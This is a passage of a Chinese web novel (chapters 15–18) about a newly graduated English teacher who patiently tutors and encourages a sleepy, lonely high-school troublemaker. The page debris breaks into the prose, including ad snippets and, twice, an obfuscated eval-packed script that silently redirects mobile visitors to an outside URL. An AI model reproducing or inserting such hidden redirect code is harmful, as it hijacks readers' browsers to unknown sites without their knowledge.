这小孩对自己的伤是一点都不上心。 江暖垂眸盯着女人掌心躺着的药膏,没出息的鼻尖一酸,“多少钱?我转给你。” “不用。”宋晚秋眉梢一抬,“上次不是拿了你一包烟嘛,就算抵烟钱了。” “也对,那咱两扯平了。”江暖接过药膏,眼神闪躲,别别扭扭的表达着关心,“你快回去睡觉吧,熬夜会变丑。你本来就够丑了。” 宋晚秋哑然失笑,“嗨!你说谁丑呢,你这没有眼光的小破孩!” “还以为你不会骂人呢。”江暖勾起唇,潇洒转身,双手背后挺直腰背,“bye~” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 目送女孩离开后,宋晚秋靠在办公椅上,阖眸在脑海中复盘女孩做的试卷,她惊喜的发现江暖的英语底子还在。 也是,能随口说出“Narcissism”这个单词的人,词汇量能差到哪儿。 思及此,宋晚秋从桌边的一堆书里抽出高一英语,装进包里,打量先去买杯咖啡再回家。 江暖独自站在操场边。 月色下,女孩宛如一朵悄然绽放在幽暗角落的花,周身被一层透明却坚不可摧的罩子紧紧包裹,默默承受着世界的寂静与冷漠。 下一秒,女孩摊开手心。 月光为手心的药膏勾勒出清晰的轮廓,通体白色的药膏散发着微弱光泽,似是承载着希望与治愈的使者。 宋晚秋的关心如一缕温暖而璀璨的阳光,轻盈地跃过那层罩子,悄然照进了江暖的世界。 没人知道,于江暖而言,这关心如同久旱的大地,迎来了一场酣畅淋漓的甘霖。 清冷的月光与温暖的希望在这药膏上奇妙地融合,让人在这宁静到孤寂的夜晚,感受到一种无声的慰藉,仿佛能驱散所有的病痛与孤独。 女孩心中涌起一股陌生的感觉,仿佛冰封许久的湖面被轻柔的春风温柔地吹拂,一圈圈涟漪欢快地荡漾开来。 江暖仰起头,望向那扇亮着灯却看不见任何人影的窗。 原来被人关心是这种感觉啊。 酸酸的,涩涩的,甜甜的。 夜色朦胧,女孩红唇翕动,“谢谢!” 女孩如呵护稀世珍宝般,小心翼翼地将药膏紧握在手心,转身跑到校医室,买了两管一模一样的药膏。 走出校医室,江暖将自己买的随意揣进校服兜里,将宋晚秋给的药膏攥在掌心,哼着小曲一口气跑回宿舍。 宿舍里,江暖看向坐在墙边书桌上刷题的三位学霸,犹豫了几秒,将试卷扔到床上,又将手心的药膏藏到枕头下面,拿着自己买的药膏和睡衣钻进洗漱间。 半小时后,江暖撅着屁股,趴在床上,打开从未使用过的护眼小夜灯,翻看卷子。 发现作文旁边的空白处多了一行红笔写的英文。她拿出手机,拍照翻译。 只见翻译软件上面显示着:“Smartgirl,Ibelieveyoucanfulfillallyourwishes.” 江暖笑了,“当神灯当上瘾了?” 她拿起笔,订正卷子上的错题。尽管有正确答案,但她依旧看不懂题目。 于是江暖破天荒的下载了搜题软件,拍照识别,一字一句的查看题干分析。 翌日清晨,闹钟声响起,江暖睁开眼,发现自己不仅没盖被子,而且头还枕着试卷。 “靠!”江暖噌地一下跳下床,抓了抓凌乱地头发,咆哮,“我居然做题做睡着了?!简直见鬼了!” 半晌,平静下来地江暖将皱皱巴巴的卷子从枕头上捞起来,看着上面被口水晕开的笔迹,捶胸捣足。 睡觉就睡觉,你留什么口水啊! 阿拉丁神灯的留言都看不清了!! 16. 第16章 翌日课外活动,宋晚秋站在走廊,目光落在窗边的座位上,没能寻到小魔王的身影。 她拿着试卷从后门走了进去,拍了一下趴在桌上看书的林洛,“江暖呢?” 正沉浸在三次元世界里的林洛感觉自己肩膀被人拍了一下,慢悠悠的转头,下一秒,唰的一下合上桌上的小说,手忙脚乱的将其塞进桌兜。 宋晚秋被对方浮夸的动作吓一跳,轻轻呼出一口气,笑笑:“课间看课外书没关系的。” 林洛有点心虚,声音极弱的哦了一声,拉开凳子站起身,“老师,您找我有事吗?” 宋晚秋冲她前排的位置抬了抬下巴,“江暖呢?” 林洛专注于看小说,没发现前排的江暖和陈沐禾都不在座位,想了一下,“我不知道,不过我猜她应该在天台上吧…” 宋晚秋点点下巴,“谢谢,你接着看吧。” 林洛望着宋晚秋匆匆离去的背影,心里直犯嘀咕,“宋宋找江暖干吗啊?难不成那家伙又闯祸了?” 宋晚秋一路找到天台。 夏日的骄阳热烈地倾洒着光芒,轻柔地覆盖在学校的天台上。 在这一方被阳光拥抱着的天台上,一个身着蓝白相间校服的女孩,闭着眼睛,微仰起头,静静趴在天台栏杆上。 微风轻轻拂过,女孩的校服衣角随之微微飘动,她发丝有些凌乱地散落在脸颊旁,侧脸被阳光勾勒出柔和的轮廓。 宋晚秋觉得此刻的小魔王格外乖巧。 像一只慵懒地趴在一处安静角落,尽情享受着日光浴的小奶猫。 宋晚秋隔着不远不近的距离静静地站着,眸中漾着她自己未曾察觉到的温柔。 阳光下,女人的身影如同一个守护者,默默守护着不远处那只慵懒的小猫。 时间游走,十多分钟后,太阳晒得宋晚秋有些站不住,她踢踏着脚步一步步走向女孩。 一阵“哒哒哒”的脚步声由远及近传来,如同投入平静湖面的一颗石子,瞬间打破了周遭的静谧。 江暖被晒的红彤彤的耳朵微微一动,突然出现的声响像是触动了她内心深处的某根神经。 她紧蹙起眉头,缓缓睁开双眸,眼眸中原本的朦胧在瞬间消散,取而代之的是一抹不悦。 半晌,女孩头微微转动,循着声音传来的方向望去,当看清来人时,她紧蹙着的眉头倏地松开,眸中的不悦渐渐被疑惑和开心取代。 脚步声停止,江暖敛了敛眸,声音冷冷淡淡的,“你来这儿干什么?” 得,小奶猫又变成小魔王了。 站在江暖身侧的宋晚秋将有点酸软的腿靠在栏杆边上,随后又将昨晚熬夜出的两套试题递给江暖,“如果困的话,可以做做这两套试卷。” 江暖下意识地接过卷子后瞪大眼,“现在还没到晚自习时间呢,为什么又要我做卷子?” 宋晚秋学着江暖方才的样子闭上眼睛,微微仰起头,让阳光尽情地洒在脸上。 “做不做随你,这可是老师特意给你找的全世界最催眠的试题。” 江暖精准的捕捉到“特意”两个字,唇角牵起一抹十分大度的笑容,“行吧,我试试。” 宋晚秋睁开眼看了一眼江暖的脸,“药膏用了吗?有没有不适感?” 江暖嗯了一声,扁着嘴,口是心非,“黏黏糊糊的,一点都不好用!” “下次别再受伤,就不用受这份罪。”宋晚秋仔细打量着女孩脸上的伤口,确认不会留疤暗暗松了口气。 江暖嘁了一声,目光望向楼下操场上三三两两的同学,一板一眼的说:“其他老师都会说下次别再打架,只有你会说别再受伤,你这么说好像支持我去打架似的。” 停了一下,她啧啧两声,“你这个老师一点都不称职。” 宋晚秋哦了一声,不以为然的耸耸肩,“我说让你别再打架,你会听吗?” “不会。” “那不就得了。” 江暖:…… 江暖忍不住呛她,“那我还说不想去后面罚站呢,你怎么不听我的?” 宋晚秋反呛她,“我为什么要听你的?你是老师,还是我是老师?嗯?” 这会儿又有老师的架子了? 宋晚秋目光温柔的看着满脸写着“不服”的江暖,似有似无的叹了口气,“江暖,你可以完全的做你自己,但你也得承受你为个性而付出的代价。” 江暖眨巴眨巴大眼睛,似懂非懂,“我发现你这人…” “嗯?” “真的一点都不像老师。” 宋晚秋忽地抬起手,揉了揉女孩被晒得暖烘烘的发顶,粲然一笑,“虽然我是你的老师,但我也是刚参加工作的应届毕业生,我有不足之处就劳烦你多担待吧。” 原来她才毕业啊! 江暖暗暗打量着蹂躏自己脑袋的人。 女人身着一件黑色紧身短袖,搭配白色垂感牛仔裤和一双白色德训鞋。黑亮柔顺的长发随意地披在肩上,笑的时候眼睛弯弯的,让人觉得莫名亲切。 单从外表来看,的确像是青春洋溢的大学生。 “看来三中的师资力量越来越差了。”江暖嘴上不饶人,却任由对方像摸狗似的摸自己脑袋。 一阵微风拂过。 宋晚秋收回手,轻轻拨弄了一下耳边被风吹乱的发丝,冲江暖轻抬眉梢,“要不然你考虑一下好好学习,大学毕业来三中整顿职场啊。” 话落,江暖狂摇头,一脸抗拒,“不要,我这辈子最烦的就是老师!” 阳光洒在两人身上,勾勒出温馨的轮廓。 宋晚秋没忍住又揉了一把江暖的脑袋,“你这小孩才活了几天啊!就敢定义一辈子。人的喜恶是会随着年龄和阅历变化的,我们谁也不知道明天的自己会喜欢什么,讨厌什么。” 女人的声音如同夏日微风中的花瓣,轻盈而温暖。一向讨厌别人给自己讲大道理的江暖罕见的没打断她,并让这番话涌入耳朵,直达心底。 在金黄色阳光的映照下,女人的面庞显得格外温柔。 细腻的肌肤,精致的五官,以及此刻勾起的唇角,共同构成一幅美丽又充满故事的画面,让人鬼使神差的想要探寻她内心的世界,了解她这个人。 江暖看着宋晚秋,“那你讨厌什么?” 宋晚秋俨然没想到她会愿意和自己闲聊,愣了一下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,意有所指,“讨厌上课睡觉和交白卷的小孩。” “我不是小孩!”江暖扁了扁嘴,往右边挪了一步,扭过头,语气里染上一丝失落,“你直接说讨厌我不就得了。”我早就知道你讨厌我! 接触下来,宋晚秋渐渐发现这个所谓的“坏学生”的心思很单纯,到底还是个孩子,有什么想法都会写在脸上。 她抬起手臂,将手轻轻搭在江暖肩上,嗓音温柔又坚定,“开玩笑的。老师不讨厌你,现在不讨厌你,以后也不会讨厌你。” 话音一落,江暖霎时扭过头,向左迈了一小步,眼神明亮,露出灿烂的笑容,仿佛压在心中许久的困惑在这一瞬间渐渐消散。 宋晚秋这才发现,原来小魔王有小梨涡,还有两颗可爱又不失锋利的小虎牙。 “那你喜欢什么?” “喜欢什么…”宋晚秋双手环抱在胸前,陷入沉思,“容老师想想啊…” 过了半分钟,宋晚秋摇摇头,“老师好像没什么特别喜欢的…” 江暖想也不想的拆穿她,“你不挺喜欢唱歌和骑着机车招摇撞市吗?” 宋晚秋愣在原地,过了好几秒,问:“你怎么知道我喜欢唱歌?” “你猜呢?”江暖拿着卷子,潇洒离去。 让你忘记我! 好好猜去吧你! 教室里,地理老师站在讲台上,在黑板上勾勒出世界的轮廓,领着一众学子在地理的奇妙世界中穿梭。 陈沐禾听得哈欠连天,习惯性地扭头想跟江暖吐槽这课有多催眠,结果发现,她的同桌正鬼鬼祟祟的举着手机在拍试卷。 “你偷出月考试卷了?”陈沐禾像做贼似的环顾四周,声音低的和地下党接头似的。 江暖扭头,白了她一眼,“你这脑袋瓜里能不能想点正能量的事!” 陈沐禾啊了一声,将脑袋凑过去,“那你这是在做什么?” “拍照识题啊!”江暖想到这人和自己一样不学无术,估计都不知道什么是拍照识题,耐着性子给她科普这款APP。 陈沐禾时不时点着脑袋,半晌,她反应过来不对劲,诧异,“所以你现在是在认真学习?” “不然呢?” “可你怎么突然愿意就学习了?而且还学你最讨厌的老师带的课。” 江暖不自在的抿了抿唇,扰乱视听,“在你强烈的安利下,我现在没那么讨厌她了。” “什么?”陈沐禾猛然拔高声音。 地理老师听到动静停止讲课,抬眸淡淡斜了江暖一眼,很快又若无其事的讲课。 被无视的江暖嘁了一声,腹诽:“三中的这些老师里,也就只有宋晚秋像一名老师。” 陈沐禾压低声音,“你真不讨厌她了?” 江暖嗯了一声,“以后你可以尽情的给我安利她,我不会再凶你了。” “可你不讨厌她和你学习是两码事吧?” 江暖一噎,一本正经的胡说八道:“我不学英语她就会让我去教室后面罚站,她让我去罚站我就会讨厌她…” “有道理。”陈沐禾拍了拍江暖的胳膊,“那你好好学,可千万不要半途又讨厌宋宋啊。” 17. 第17章 今晚没英语晚自习的宋晚秋,照旧在办公室陪着江暖做试卷。 寂静闷热的办公室,女孩正埋头刷题,汗水悄然从额头滑落,她却浑然不觉。 宋晚秋微蹙起眉,起身绕了一圈,找到空调遥控器,将温度调低几度,随后递给江暖一张纸巾,“休息几分钟再写吧。” “不要。”江暖随意的擦了擦汗,拿起笔继续做题,“休息几分钟就做不完了。” 宋晚秋一边翻看高一教材,一边琢磨,得想办法让这小孩对其他几门课也产生兴趣。 距离高考还有283天,一切还来得及。 半小时后,放学铃声响起。 江暖把手里的笔“啪”地一摔,噌地一下从椅子上站起来,将手里密密麻麻的试卷放到宋晚秋桌上,语气轻快的像等待夸奖的小孩。 “我答完了!!” 宋晚秋将早已备好的菊花茶递给她,“你先自由活动一会儿,老师阅卷子。” 江暖尾音音调微扬着,带着一点点吊儿郎当的散漫,“这茶没毒吧?” 宋晚秋眉梢一挑,“建议您明天来的时候随身带根银针。” 江暖猛喝了一口茶,嘁了一声,“量你也不敢给我投毒。” “你这小孩,说话总没大没小的。”宋晚秋身子前倾从笔筒拿出红笔,含笑嗔了她一眼,“以后要叫我老师。” 江暖愣了一下,将杯子“啪”的一下放到桌子上,一脸不服,小嘴叭叭叭地和机关枪似的。 “开学第一天你就说过我们可以叫你任何称呼,而且其他人都叫你宋宋,凭什么要让我叫你老师?你这人怎么这么双标!” “我以为你上课从不听我讲话呢。” 宋晚秋扫了一眼炸毛的小孩,含笑的声音漾着宠溺,“行,你想叫什么就叫什么吧。” 江暖毛被捋顺了,欺负她,“老宋?” “不可以!” “那…宋老太?” “江暖!”宋晚秋瞪了她一眼。 江暖秒怂,声音轻软,“知道了,但我还没想好你的外号,等我想好再说吧。” 江暖发现宋晚秋腿上盖着毯子,偏头望向墙角的落地空调,疑惑,“你很冷吗?” 宋晚秋嗯了一声,“晚上穿裙子腿有点凉。” “喊你老宋你还不乐意,怕冷的人不都是上了年纪的人。”江暖一边念叨着,一边从宋晚秋办公桌上拿起遥控器,调高温度。 宋晚秋阅完选择题,算分的间隙分出精力抬了抬头,“老师也就比你大八岁,哪里老了?” 江暖身子懒洋洋地倚靠在办公桌边,语气非常夸张,“比我大八岁还不老!我上幼儿园的时候你都已经上初中了!” 宋晚秋:…… 不久后,宋晚秋合起红笔,江暖见状立马凑到跟前,激动道,“多少分?” “63分。”宋晚秋发现女孩饱含期待的目光一瞬黯淡下去,安抚,“今天的题目比较难,这个成绩很不错了。” 江暖想到自己昨晚学习到半夜,今天一整天都在做英语题,不开心地皱了一下鼻子,小声地自言自语,“这破成绩还不如不学呢…” 宋晚秋明白她在想什么,语气温柔的像是哄小学生似的,“江暖同学,学习是一个日经月累的过程,并不是一蹴而就的哦。虽然今天我们考了63分,但不代表明天还是63分,对不对?” 江暖不甘心的扁了扁嘴,嗫嚅,“照这个退步进度,明天说不定就53分了…” “不会的。”宋晚秋拉开凳子起身,看着面前满脸写着不开心的女孩,柔婉一笑,“我相信明天的你一定会比今天好!” 江暖低垂着头,右脚一下一下地轻踢着办公桌边,“我都不敢说大话,你倒是大言不惭。” “这不是大话。”宋晚秋抬手按在她发顶轻轻揉了两下,桃花眼微挑,“江暖,你很聪明,我相信任何事情只要你想做,就一定能做到。” 江暖沮丧地垂下眼睛,瘪了瘪嘴,“如果努力了却没成功呢?如果我就是个坏孩子呢?如果我本来就是一个一无是处的废物呢? 宋晚秋愣了一下,盯着面前睫毛低垂,浑身上下都很丧的女孩,心间褶皱四起。 她不明白江暖怎么会这样想自己,就像她不明白为什么江暖身上总萦绕着一种孤寂感,还有一种很淡的厌世感。 宋晚秋抿了抿唇,微弯腰,双手扶正她微缩着的肩,直视着女孩飘忽不定的目光。 “即使最终没有成功,但在这个过程里你一定会有收获。而且成绩不太好并不能代表你是坏孩子,哪怕你上课睡觉,哪怕你调皮捣蛋,这些事情都不足以证明你是一个废物。记住了吗?” 女人的眼睛像是一泓清泉,在微笑的瞬间荡起层层涟漪,如春风拂面,让人感到无比的温暖和舒心。轻柔的声音有着一种神奇魔力,能让人莫名信服她说的话。 江暖心底的郁结散去大半,轻点头。 宋晚秋拍了拍女孩的肩膀,“江暖,每个人都有自己擅长的事和不擅长的事,而且每个人的未来都充满无限可能,不要轻易否定自己。只是在现阶段,你需要一个好一点的成绩去支撑你走向更远的地方,看更辽阔的风景,做更自由且自信的自己。” 江暖抬起头,叹息道,“我知道了。” 话题莫名变得过于严肃,宋晚秋笑着调和气氛,“好了,别哭丧着脸了,你可是咱们三中赫赫有名的小魔王呢。” 江暖摇摇头,有点委屈的撅起嘴,“我不想再做小魔王了。”做小魔王你就不会理我,就没人关心我了。 宋晚秋轻轻啊了一声,“为什么?你做小魔王很可爱啊。” 江暖一瞬不瞬的的盯着宋晚秋,想知道她说的反话还是真心话,当看到女人目光一如既往的温柔又包容。确定了,她说的是真的。 她如释重负般地轻呼出一口气,唇角的弧度一点一点往上扬,揶揄,“你这话要是让老林听到,他得开大会批斗你。” “那又如何?”宋晚秋哼笑了一声,走回办公桌前整理教案,“以前的你,老师并不了解所以不做评价,但现在老师所认识的小魔王一没欺负同学,二没无恶不作,只是在不影响别人的情况下嗜睡一些而已。所以你告诉老师,继续做小魔王有什么不可以的?” 江暖嘴角的笑容简直快咧到耳根。 她抬起手,挡住嘴巴,假模假样的打了个哈欠,声音懒洋洋,“你这话乍一听没毛病,仔细一听更没毛病!” 说话间,宋晚秋已然收拾好东西,背起精致的链条包,“走吧,老师带你去买冰淇淋,奖励你今天认真完成了每套试卷。” 江暖双手背在身后跟在宋晚秋身边,唇角漾着小梨涡,弯着双眼,“大人们总会说,晚上不要吃凉的,会拉肚子…” 宋晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13908188|147347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋目光落在女孩唇边的小梨涡上。 这小孩总喜欢装拽,很少会笑,但偶尔笑起来的时候,会让人心里觉得莫名柔软。 比如现在。 功成名就固然重要,但我更喜欢你尖锐的棱角。世间纷纷扰扰,愿你能一世眉眼带笑。 宋晚秋眉眼含笑地耸耸肩,“夏天的夜晚不吃冰淇淋,还能叫夏天吗?” “说得没毛病!”江暖认同的鼓掌。 超市的灯光在夜色中显得格外温暖,江暖脑袋钻进冰柜里挑选着心仪的冰淇淋,宋晚秋站在旁边,唇角抑制不住的弯了又弯。 江暖选了一支草莓味的冰淇淋,粉嫩嫩的颜色如同她这个年纪的青春活力。 不久后,宋晚秋扫码付款,江暖拿着冰淇淋跟着她,两人来到操场边。 月光如水,洒在绿茵茵的草地上,泛起一层银色的光晕。微风轻拂,带来丝丝凉意,吹起两人的发丝。 江暖和宋晚秋并肩而立,她咬了一大口冰淇淋,草莓的浓郁香气瞬间在口中弥漫开,带来一阵沁人心脾的凉爽。 “真爽啊!”江暖发出一声喟叹,轻轻歪了下头,看着身旁站得笔直的女人,“你为什么不吃冰淇淋?” 宋晚秋瞥了她一眼,摇头,“老师不喜欢吃甜食,而且只有你们小孩才会这么嘴馋。” “谁嘴馋了!”江暖翻了个白眼,“你也没比我大多少,装什么老成!” 宋晚秋面无表情看着她,指指自己,“你上幼儿园的时候,我都上初中了。” 江暖一噎,清了清嗓子,“幼儿园学生和初中生没什么区别,反正都是未成年。” “但现在你是未成年,而老师是成年人。” “那又如何?” 月光下,她们的身影如同两朵盛开的花,散发着温馨与美好。 江暖凝视着宋晚秋,“你每天加班到这么晚才回家,不会觉得累吗?” “会啊。” 女孩黑白分明的眼睛如同璀璨的星辰,宋晚秋没忍住伸手揉了一把她的发顶,“但看到你有用心的做试卷,老师就没那么累了。” “别像摸狗一样摸我啊!”江暖嘴上嫌弃,脑袋却没有偏离分毫,专注的舔着冰淇淋。 “怎么会是摸狗呢?”宋晚秋又摸了一下她的发顶,温柔的语气里带着期待,“我在摸我未来的得意门生。” 话音一落,江暖傻愣在原地。 这是她第一次听到有老师用这四个字形容自己,来不及开心,倏地想到自己那63分的卷子,她将没吃完的冰淇淋扔进垃圾桶,转身看向宋晚秋。 “我要回去睡觉了,困死了。” 宋晚秋扭头看了一眼四周三三两两结伴而行的学生们,又看向女孩孤寂的身影,冲她挥挥手,“嗯,快回去吧。” 江暖往前走了两步,扭头见那人纹丝不动的站在原地,诧异,“你还不走吗?” 宋晚秋冲前方抬了抬下巴,“老师看着你进宿舍楼后再走,万一你眼神不好,摔坑里…” “瞧不起谁呢?我视力很好!”江暖咬牙切齿地在原地直跺脚。 宋晚秋被她这动作可爱到,笑出声,“Goodnight,江暖同学。” “Goodnight!”江暖转身,走的很稳也很快。 她知道有人在身后注视着她。 她想让那人早点回家。 18. 第18章 刚走进宿舍,江暖迫不及待的将试卷翻到作文题旁的空白处,果不其然,有一行评语,今天还多了一轮用红笔勾勒出的弯月。 “You''vebeenstudyinghard.Haveagoodrest,Gooddream!” “明明是你更辛苦才对。”江暖暗暗发誓,下次无论如何都不能再退步了。 快速洗漱完,江暖将最近做的几套试卷一一铺在床上,一道一道题分析语法、词汇… 凌晨一点半,熬到三位学霸都睡了。 江暖才意犹未尽的将卷子合起来,放到枕头边。她平躺到床上,打开手机找到一直听的催眠播客,阖眸。 半分钟后,江暖倏地睁开眼,从枕头下面捞起手机,解锁,从在线英语听力室APP里翻到出高一英语的教材录音。 找到第一节课,点击播放。 这人读的什么玩意? 还是宋晚秋念课文好听。 不知听了多久,意识模糊间,江暖忍不住的想,要是让其他人知道她睡前在听课文,一定会觉得她疯了! 她也觉得自己疯了! 但她莫名觉得“得意门生”四个字很顺耳。 得意门生,得意门生… 江暖嘴里嘟囔着这四个字坠入美梦。 翌日早上,陈沐禾看到江暖顶着两个大大的熊猫眼,满眼心疼,“暖宝,你又失眠了?” “没有。”江暖打了个哈欠,“昨晚熬夜做英语卷子,睡得有点晚了。” 话音一落,宋晚秋的小迷妹陈沐禾感动的稀里哗啦,摇晃着江暖的胳膊,“鉴于你为了不讨厌宋宋做出了如此伟大的牺牲,姐们决定这周末请你吃炸鸡。” “也不全是为了不讨厌她,我觉得英语也挺有意思的。” “是吧,我早发现了。”陈沐禾将自己的笔记献宝似的举到江暖面前,“我的笔记借你抄。” “谢了。”江暖又打了个哈欠,趴桌上,“别吵我,我先睡会儿。” 陈沐禾:…… 英语课上,昏昏欲睡的江暖不停掐着自己的胳膊,逼自己清醒,但眼皮就像不受疼痛神经控制似的,越来越重,越来越重… 宋晚秋早已习惯观察江暖的动向,见这人脑袋瓜又被高高堆起的课本死死堵住,知道她一定是又睡着了。 她放轻脚步走到江暖座位旁。 女孩长而翘的睫毛在阳光的映照下,投下淡淡的阴影,如同蝴蝶的翅膀轻轻颤动。她眼下微微发青的黑眼圈,似是被疲惫浸染过的水墨,悄然盘踞在她原本白皙的面庞上。 热烈的阳光似乎察觉到了女孩的疲倦,变得格外温柔,小心翼翼地笼罩着她。 陈沐禾屏住呼吸盯着宋晚秋,生怕这人会将江暖赶到后面罚站,生怕江暖因此会重新讨厌宋晚秋。出乎意料的是,宋晚秋只是偏头看了会儿江暖,便转身走回讲台。 陈沐禾拍着胸口,吐出一口浊气。 下课后,宋晚秋将夹在教案里的几套卷子放到江暖课桌上,看向陈沐禾,压低声音,“等她醒了告诉她,这周末记得把这几套卷子做了。” 陈沐禾比了个ok的手势。 周六,江暖吃完午饭,鬼使神差的来到学校附近的图书馆,找了几本高中英语教材,静静地坐在书桌上翻看。 时间一分一秒流逝,晚上九点店员通知书店要打烊了,江暖将书买下来后离开。 昏黄的路灯洒下暖黄色的光晕,江暖提着那如小山般的砖块似的教材,在大街上悠然地溜达着。 忽地,路边一辆打着双闪的玛莎拉蒂和蹲在车边的女人吸引走她的目光。 江暖犹豫几秒,走上前,询问:“你好,需要帮忙吗?” 蹲在地上的女人听到声音,优雅地转头看向来人。 下一秒,两人四目相对,皆露出惊讶之色。 宋晚秋双手撑着膝盖缓缓起身,“你怎么在这儿?” “路过。” 江暖的目光紧紧锁住眼前的女人。 今夜的她一改往日简约的职业装,身着一袭黑色露背性感吊带长裙,那如瀑般的大波浪长卷发随意地披散着,脸上画着精致的全妆,脚下踩着一双与整体穿搭极不相符的白色德训鞋,显得格外突兀却又别有一番韵味。 昏黄的路灯洒下柔和而朦胧的光晕,仿佛给世界披上了一层陈旧的纱。 宋晚秋就站在这灯光之下,手微微提着裙摆,那裙摆的材质在灯光的映照下泛着细腻的光泽。 马路上偶尔有车辆呼啸而过,带起一阵微风,吹动女人的发丝。 江暖忍不住感慨,宋老师今天好美啊。 她想说的更文艺一些,奈何才疏学浅,搜肠刮肚只能想到两个词:摇曳生姿、风情万种。 如果让陈沐禾看到今夜的宋晚秋,估计那颜控的口水都能淹没这条街了。 半晌,江暖意识到自己也在犯花痴,不自在的移开视线,下一秒目光又不争气地飘回来。 江暖手握成拳,轻咳一声,冲车抬了抬下巴,“你车怎么了?” “胎爆了。” 宋晚秋秀眉微蹙,小心翼翼地弯下腰,将裙摆拢在一侧,生怕它沾上地上的灰尘。查看完情况,直起腰,打开后备箱,从里面依次取出千斤顶、套筒扳手等工具。 江暖目光紧跟着这人,想到什么,“你要自己换胎?” 宋晚秋神色间既有无奈又有倔强,轻轻嗯了一声。 今晚,宋晚秋父亲那边有一场商务酒会。她好不容易在酒会上应酬完毕,只想着能早点回家好好休息。然而,那群好友却喊她聚会。 自从参加工作后,整日忙着适应新身份,她已经好久都没有约过朋友了。正好赶上周末,宋晚秋心想,权当放松一下心情吧。 可谁能想到,半路车竟然抛锚了!叫救援的话需要等一个多小时,宋晚秋索性决定自己动手解决。 江暖的目光紧紧锁住女人身上那价值不菲的裙子。她不禁暗自思忖,这般打扮的宋晚秋,理应优雅地坐在高档西餐厅里,在摇曳的烛光下轻轻摇晃着红酒杯,散发着迷人的魅力。而不是蹲在马路边费劲巴拉的换轮胎。 江暖叹了口气,“需要我帮忙吗?” 宋晚秋瞥了女孩一眼,点头,“需要。” “呵,你还真不客气。”江暖将手里提着的书提袋放到地上,“需要我做什么?” 宋晚秋递给江暖一个三角警示标志,“帮老师把这个放到路上去。” “好的。”江暖接过警示牌,哒哒哒的跑到前方五十米的位置,放置妥当后又跑回来。 见宋晚秋正弯着腰,打算从后备箱里搬新轮胎,江暖主动凑到跟前,“我来吧。” 宋晚秋退开一些,叮嘱,“你小心点。” “放心,不会把你的新轮胎搞爆的。”江暖咬着下唇,努力地将沉重的轮胎从后备箱中拖出。 “嘿,你这小孩,老师是担心你伤到自己。” 不一会儿,江暖将轮胎搬到车前,宋晚秋用套筒扳手松开轮胎上的螺栓,她将千斤顶放置在支撑点下方,正准备操作千斤顶。 江暖再度凑上前,一本正经的说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13908189|147347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你来指挥,我来操作,我想学一下换轮胎。” 宋晚秋愣了一下,“哦,也行。” 在宋晚秋的指挥下,江暖换好了轮胎,两人一起将工具收回后备箱。 宋晚秋确认轮胎气压正常后,看向身侧小口喘着气的女孩。 女孩白皙的额头渗出细密的汗珠,在灯光下闪烁着微弱的光芒。 宋晚秋递给江暖一包湿巾,“快擦擦汗。” 江暖一边擦手,一边状不经意的问:“你这是去哪儿把车给爆胎了?” 宋晚秋擦着手轻声答,“家里有个饭局…” 江暖哦了一声,下一秒,瞪大眼,“一定是相亲局吧。” “嗯?”宋晚秋愣了一下,“怎么这么说?难道老师长得很像会被催婚的人吗?” 江暖倏地想到两个月前她们的初见,这人的确不缺追求者,“因为你今天穿得很不一样…” 宋晚秋饶有兴致的追问,“哪儿不一样?” 江暖眼珠子转了转,“非常难看。” “你这小孩的审美真的有问题哦。”宋晚秋看了一眼腕表,想到那群等她赴约的朋友,“住哪儿?老师送你回去。” 江暖摇头,“不用,我还想走走。” 宋晚秋想起两周前,自己也是在深夜的马路上碰到闲逛的江暖,便随口问了句:“你每天这么晚回家,你爸妈不说你吗?” “我没爸。” 宋晚秋愣住,急忙道歉:“抱歉,老师不是故意的。” “没事,我不在意。我妈出差了,我已经三周没见到她了…”江暖勾唇一笑,洒脱道:“所以我就算彻夜不归,也没人说我,超自由。” 女孩唇边没有小梨涡,也看不到虎牙。 她在笑,但她不开心。 宋晚秋拧起眉头,拿起江暖放在地上的手提袋,揉了一把女孩毛茸茸的脑袋,“走吧,陪老师去试试新轮胎。” 江暖正犹豫间,听到这人又说:“毕竟是你给我换的轮胎,老师自己开车上路,心里不太踏实。” “好心当成驴肝肺。”江暖一把拉开副驾驶的门,坐上去,系上安全带,“走吧,我倒想看看我亲手换的轮胎会把你怎么着!!” 宋晚秋憋笑,这小孩激将法一用一个准。 车子平缓上路,宋晚秋瞥了一眼低头玩手机的江暖,抿了抿唇,轻声问:“周末你妈妈不在家,你怎么吃饭?” 江暖关上手机,转头看向车窗外,“外卖或者自己去饭店吃。” 宋晚秋皱起眉,幸好这人住校,否则天天吃外卖,胃怎么受得了,“你今晚吃的什么?” “没吃。” “怎么不吃饭?” 看书看得废寝忘食的江暖不太好意思在宋晚秋面前说出实情,随口胡诌,“没胃口。” 宋晚秋皱起眉,“老师带你去吃饭吧。” 江暖闻言转头看向开车的宋晚秋,沉默了几秒,不好意思这么晚麻烦她,摇头,“不用…” 宋晚秋瞅准时机,调转车头,“走吧,你饿着肚子帮老师换轮胎,我请你吃顿饭,咱两也算扯平了。” 